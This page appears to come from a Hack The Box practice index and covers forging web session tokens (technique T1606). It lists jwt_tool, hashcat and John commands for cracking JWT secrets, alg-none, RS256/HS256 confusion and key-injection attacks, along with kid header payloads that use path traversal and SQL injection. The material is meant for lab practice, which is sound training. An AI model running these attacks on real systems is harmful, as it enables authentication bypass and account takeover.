Search everything Ctrl K
T1606

Forge Web Credentials

Creating valid session cookies or tokens (JWT, Flask) by signing them with a stolen or weak secret.

How it shows up on Hack The Box

If you find Flask's SECRET_KEY or a JWT secret (in the code, a .env or by cracking it), sign yourself an admin token. Also try alg none and RS256/HS256 confusion.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

JWT analyser › Attacks

Save the token 
echo -n 'eyJhbGciOi...' > jwt.txt
hashcat 
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
John the Ripper 
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
Show the content 
python3 jwt_tool.py <JWT>
Run every attack against the site 
python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at
alg none 
python3 jwt_tool.py <JWT> -X a
Algorithm confusion RS256 → HS256 
python3 jwt_tool.py <JWT> -X k -pk public.pem

The public key is often at /jwks.json, /.well-known/jwks.json or in the TLS certificate.

Inject your own key (jwk / jku) 
python3 jwt_tool.py <JWT> -X i
Change a claim and sign with the secret 
python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'
Path traversal to an empty file 
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}

Then sign with an empty secret.

SQL injection in kid 
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'pwned'-- -"}

If the server looks the key up in a database, sign with the secret "pwned".

jwt_tool › Crack the secret

Wordlist against an HS256 token 
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Tools

Related cheatsheets